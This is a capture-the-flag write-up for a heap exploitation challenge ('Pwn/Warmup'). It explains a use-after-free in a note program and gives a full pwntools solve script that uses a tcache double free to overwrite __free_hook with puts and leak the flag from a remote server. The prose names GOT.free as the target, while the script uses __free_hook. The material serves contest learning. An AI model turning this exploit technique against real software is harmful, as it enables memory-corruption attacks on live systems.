# Pwn/Warmup [482]
warm up yourself and get the flag!
Connection: nc 65.1.92.179 49155
**Files**: [warmup1.zip](https://darkc0n.blob.core.windows.net/challenges/warmup1.zip) (`libc.so.6`, `a.out`)
```sh$ ./libc-database/identify libc.so.6libc6_2.27-3ubuntu1.2_amd64$ checksec a.out[*] '/a.out'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
## Solving
The challenge is a basic heap-based CLI, with the flag stored at `notes[0]`:
```cunsigned int initstuff() {  setvbuf(stdin, 0, 2, 0);  setvbuf(stdout, 0, 2, 0);  setvbuf(stderr, 0, 2, 0);  return alarm(0x20);}int show_options() {  puts("[1] - create");  puts("[2] - delete");  return puts("[3] - exit");}
char *notes[16]; // .bss:00000000006020C0int main() {  initstuff();  notes[0] = malloc(0x10);  strcpy(notes[0], "darkCON{XXXXXXX}"); // note that this is embedded as mov instructions  printf("Hello traveller! Here is a gift: %p\n", &strcpy);  while ( 1 ) {    int opt; // [rsp+4h] [rbp-Ch] BYREF    show_options();    __isoc99_scanf("%d", &opt;;    fgetc(stdin);    switch (opt) {      case 1:        create(); break;      case 2:        delete(); break;      case 3:        exit(0); break;      default:        return 0;    }  }}```
The challenge provides a libc leak via "`strcpy`" -- the value of this leak doesn't actually match `libc.symbols['strcpy']`, so I found it manually with gdb:
```python__strcpy_sse2_unaligned = 0xb65b0 #gdb.attach(r, gdbscript='x/g 0x601FE8\nvmmap libc')```
In the main loop, there are only two options: `create()`, and `delete()`. 
```cunsigned getindex() {  int ind; // [rsp+4h] [rbp-Ch] BYREF  printf("index: ");  __isoc99_scanf("%d", &ind;;  fgetc(stdin);  if ( ind > 15 || ind < 0 )    exit(0);  return (unsigned)ind;}int sizes[16]; // .bss:0000000000602140void create() {  char s[72]; // [rsp+10h] [rbp-50h] BYREF  int ind = getindex(); // [rsp+Ch] [rbp-54h]  printf("size: ");  __isoc99_scanf("%d", &sizes[ind]);  fgetc(stdin);  if (sizes[ind] <= 32 && sizes[ind] > 0) {    printf("input: ");    fgets(s, sizes[ind], stdin);  // this should be capped at 32 bytes.    notes[ind] = malloc(sizes[ind]);    strcpy(notes[ind], s);        // this shouldn't overflow.  }}void delete(){  int ind = getindex(); // [rsp+Ch] [rbp-4h]  free(notes[ind]);     // UAF ! notes[] & sizes[] are not cleared.}```
The UAF can really only be used to induce a double free: there's no `edit()` like function to make use of an already-freed block.
I get [an idea](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/fastbin_dup_into_stack.c) for leaking `notes[0]` pretty quickly:
1. double-free a note, causing the tcache freelist to become [1 -> 2 -> 1]. This works because we're in libc 2.27.2. Use the first allocation of [1] to overwrite its `->fd` pointer to `GOT.free()`.3. Allocate twice to let the GOT pointer reach the head of the tcache4. Allocate && overwrite `GOT.free()` with `puts()`5. free [0] to get flag
That works:
```[*] Switching to interactive modedarkCON{shrtflg}[1] - create[2] - delete[3] - exit$```
## Solve script
```pythonfrom pwnscripts import *context.binary = 'a.out'context.libc_database = 'libc-database'context.libc = 'libc.so.6' # libc6_2.27-3ubuntu1.2_amd64
r = remote('65.1.92.179', 49155)#r = context.binary.process()def create(ind: int, size: int, inp: bytes):    r.sendlineafter('exit\n', '1')    r.sendlineafter('index: ', str(ind))    r.sendlineafter('size: ', str(size))    if len(inp) < size-1: inp += b'\n'    r.sendafter('input: ', inp)def delete(ind: int):    r.sendlineafter('exit\n', '2')    r.sendlineafter('index: ', str(ind))
__strcpy_sse2_unaligned = 0xb65b0 # ???context.libc.address = unpack_hex(r.recvline())-__strcpy_sse2_unalignedcreate(1, 8, b'one')create(2, 8, b'two')delete(1)delete(2)delete(1)create(1, 8, pack(context.libc.symbols['__free_hook'])[:7])create(2, 8, b'two')create(1, 8, b'one')create(1, 8, pack(context.libc.symbols['puts'])[:7])delete(0)r.interactive()```
